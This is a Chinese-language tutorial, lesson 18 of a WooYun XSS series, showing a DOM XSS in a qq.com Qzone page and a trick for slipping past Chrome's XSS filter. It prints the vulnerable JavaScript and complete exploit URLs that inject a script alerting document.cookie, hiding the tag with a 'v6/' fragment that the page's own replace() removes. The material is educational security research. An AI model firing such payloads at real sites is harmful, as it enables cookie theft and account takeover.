# 18\. XSS 過濾器繞過 [猥瑣繞過]
> 來源:[18\. XSS 過濾器繞過 \[猥瑣繞過\]](http://www.wooyun.org/bugs/wooyun-2010-016678)
## 簡要描述
有些時候,通用的繞過技巧并不可行,這個時候我們就得觀察缺陷點的周圍環境,想想其它辦法咯。“猥瑣繞過”與通用繞過不 同的是,它通用性小,往往只是特例。
## 詳細說明
1\. 直接看實例點:
```
http://qzs.qq.com/qzone/v6/custom/custom_module_proxy.html#siDomain=1&g_StyleID=aaaaaaaaaa
```
2\. 可以看出,這是一個 DOM XSS 的點。

3\. 我們看看源碼。
```
....
var siDomain = paras['siDomain'],
g_StyleID = paras['g_StyleID'].replace("v6/","");
if(siDomain.indexOf(".qq.com")>-1){//防止 qzs.qq.com
siDomain = paras['siDomain'] = "qzonestyle.gtimg.cn";
}
document.write('<link href="http://'+siDomain+'/qzone_v6/gb/skin/'+g_StyleID+'.css" rel="stylesheet" /><link href="http://'+siDomain+'/qzone_v6/home_normal.css" rel="stylesheet" />');
...
```
不難看出,siDomain 與 g_StyleID 都是地址欄里獲取過來,然后通過 document.write 輸出到頁面中。 4\. 利用先前教程的知識,我們不難構造出利用代碼。
```
http://qzs.qq.com/qzone/v6/custom/custom_module_proxy.html#siDomain=1&g_StyleID="><script>alert(document.cookie)</script>
```
可以看到,IE 下成功彈出。

5\. 但是到了 chrome 下,又被攔截了。。

6\. 這個時候怎么辦呢? 因為這里接受地址欄的參數時,是以 `"="` 分割,因而我們的代碼中是不允許攜帶 等號的。故上一篇的技巧不 能拿到這里來使用了!
7\. chrome 攔截,是有一定的攔截規則的,只有它覺得是惡意代碼的才會去攔截。這個時候,就需要我們“觀察地形”啦!! 我們仔細看看這句。
```
g_StyleID = paras['g_StyleID'].replace("v6/","");
```
8\. 不難看出,這里會對 `g_StyleID` 進行一次替換,將 `v6/`替換為空。那么如果我們的 `g_StyleID` 寫為下面的情況
```
<scrv6/ipt>alert(document.cookie)</script>
```
經過替換后,就會變成。
```
<script>alert(document.cookie)</script>
```
但是 chrome 并不會把<scrv6/ipt>alert(document.cookie)</script> 當作惡意的,是不是就可以繞過了? 我們試試。
```
http://qzs.qq.com/qzone/v6/custom/custom_module_proxy.html#siDomain=1&g_StyleID="><scv6/ript>alert(document.cook ie)</script>
```
果然可以~

這樣一來,我們這個 XSS,就不會被瀏覽器的 XSS 過濾器所蹂躪啦!
## 修復方案
進入 document.write 前,先過濾下
- 1. 什么都沒過濾的入門情況
- 2. 輸出在&lt;script&gt;&lt;/script&gt;之間的情況
- 3. 輸出在 HTML 屬性里的情況
- 4. 寬字節復仇記 [QQ 郵箱基本通用]
- 5. 反斜線復仇記
- 6. 換行符復仇記
- 7. 寬字節、反斜線與換行符一起復仇記
- 8. Dom Xss 入門 [顯式輸出]
- 9. Dom Xss 入門 [隱式輸出]
- 10. Dom Xss 進階 [邂逅 eval]
- 11. Dom Xss 進階 [善變 iframe]
- 12. Dom Xss 進階 [路徑 con]
- 13. Dom Xss 實例 [Discuz X2.5]
- 14. Flash Xss 入門 [navigateToURL]
- 15. Flash Xss 進階 [ExternalInterface.call 第一個參數]
- 16. Flash Xss 進階 [ExternalInterface.call 第二個參數]
- 17. XSS 過濾器繞過 [通用繞過]
- 18. XSS 過濾器繞過 [猥瑣繞過]
- 19. 存儲型 XSS 入門 [什么都沒過濾的情況]
- 20. 存儲型 XSS 入門 [套現繞過富文本]
- 21. 存儲型 XSS 進階 [猜測規則,利用 Flash addCallback 構造 XSS]